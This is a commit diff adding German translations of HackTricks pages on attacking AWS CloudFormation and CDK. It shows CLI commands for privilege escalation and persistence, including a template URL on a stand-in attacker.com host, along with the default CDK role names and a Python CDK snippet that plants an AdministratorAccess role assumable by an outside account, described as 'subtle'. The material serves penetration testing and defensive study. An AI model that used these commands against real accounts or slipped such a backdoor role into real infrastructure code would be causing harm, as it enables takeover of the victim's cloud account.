Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:29:25 +00:00
parent 1f3cd07eab
commit fd33899352
4 changed files with 86 additions and 11 deletions

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Für weitere Informationen, greifen Sie zu:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
Der AWS CDK deployt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Konten erlaubt, CDK-Projekte in das Opferkonto zu deployen. Ein Angreifer kann dies ausnutzen, um sich selbst unbegrenzten Zugang zum Opferkonto zu gewähren, entweder indem er die AWS CLI verwendet, um den Stack mit Parametern neu zu deployen, oder die AWS CDK CLI.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## cloudformation
Für weitere Informationen zu Cloudformation siehe:
Für weitere Informationen über cloudformation siehe:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,7 +12,7 @@ Für weitere Informationen zu Cloudformation siehe:
### `iam:PassRole`, `cloudformation:CreateStack`
Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
@@ -24,11 +24,11 @@ Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzl
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
**Potenzielle Auswirkungen:** Privesc auf die angegebene Cloudformation-Service-Rolle.
**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen CloudFormation-Dienstrolle.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
In diesem Fall können Sie eine **bestehende Cloudformation-Stack** missbrauchen, um sie zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren:
In diesem Fall können Sie einen **bestehenden CloudFormation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -37,15 +37,15 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen.
Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen.
**Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle.
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an).
Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der Aktualisierung an).
Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen.
Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen.
**Potenzielle Auswirkungen:** Privesc auf die bereits angehängte cloudformation-Dienstrolle.
@@ -53,7 +53,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic
Ein Angreifer mit Berechtigungen, um **eine Rolle zu übergeben und ein ChangeSet zu erstellen & auszuführen**, kann **einen neuen cloudformation-Stack erstellen/aktualisieren und die cloudformation-Dienstrollen missbrauchen**, genau wie bei CreateStack oder UpdateStack.
Der folgende Exploit ist eine **Variation des**[ **CreateStack Exploits**](./#iam-passrole-cloudformation-createstack), die die **ChangeSet-Berechtigungen** verwendet, um einen Stack zu erstellen.
Der folgende Exploit ist eine **Variation des**[ **CreateStack Exploits**](#iam-passrole-cloudformation-createstack), die die **ChangeSet-Berechtigungen** verwendet, um einen Stack zu erstellen.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -103,8 +103,53 @@ Ein Angreifer könnte diese Berechtigung ohne die passRole-Berechtigung missbrau
**Potenzielle Auswirkungen:** Privesc auf die angehängten Cloudformation-Rollen.
## AWS CDK
Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (yaml oder json).
Um das CDK zu verwenden, muss ein administrativer Benutzer zunächst das Konto bootstrappen, was mehrere IAM-Rollen erstellt, einschließlich der *exec role*, die \*/\* Berechtigungen hat. Diese Rollen folgen der Namensstruktur `cdk-<qualifier>-<name>-<account-id>-<region>`. Das Bootstrapping muss einmal pro Region und Konto durchgeführt werden.
Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle verwendet wird, um CFN zu ermöglichen, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren.
### Bestimmung der Rollennamen
Wenn Sie `cloudformation:DescribeStacks` haben, sind die Rollen in einem Stack namens `CDKToolkit` definiert, und Sie können die Namen dort abrufen.
Wenn Sie sich auf einem Computer befinden, der zum Erstellen und Bereitstellen von CDK-Projekten verwendet wurde, können Sie sie aus `cdk.out/manafest.json` im Stammverzeichnis des Projekts abrufen.
Sie können auch eine gute Vermutung anstellen, was sie sind. `qualifier` ist eine Zeichenfolge, die den Rollen hinzugefügt wird, um mehrere Instanzen des CDK-Bootstraps gleichzeitig bereitzustellen, jedoch ist der Standardwert fest auf `hnb659fds` codiert.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Hinzufügen von bösartigem Code zum Projektquellcode
Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch kompromittieren, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Referenzen
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -31,19 +31,25 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
```
### Privesc
In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbraucht, um Privilegien zu eskalieren**:
In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbrauchen kann, um Privilegien zu eskalieren**:
{{#ref}}
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Überprüfe auf **Geheimnisse** oder sensible Informationen in der **Vorlage, den Parametern & Ausgaben** jeder CloudFormation
Überprüfe auf **Geheimnisse** oder sensible Informationen im **Template, den Parametern & Ausgaben** jeder CloudFormation
## Codestar
AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten an Softwareentwicklungsprojekten auf AWS. Du kannst schnell Anwendungen auf AWS mit einem AWS CodeStar-Projekt entwickeln, erstellen und bereitstellen. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind.
AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten mit Softwareentwicklungsprojekten auf AWS. Du kannst Anwendungen schnell entwickeln, erstellen und bereitstellen mit einem AWS CodeStar-Projekt. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind.
### Enumeration
```bash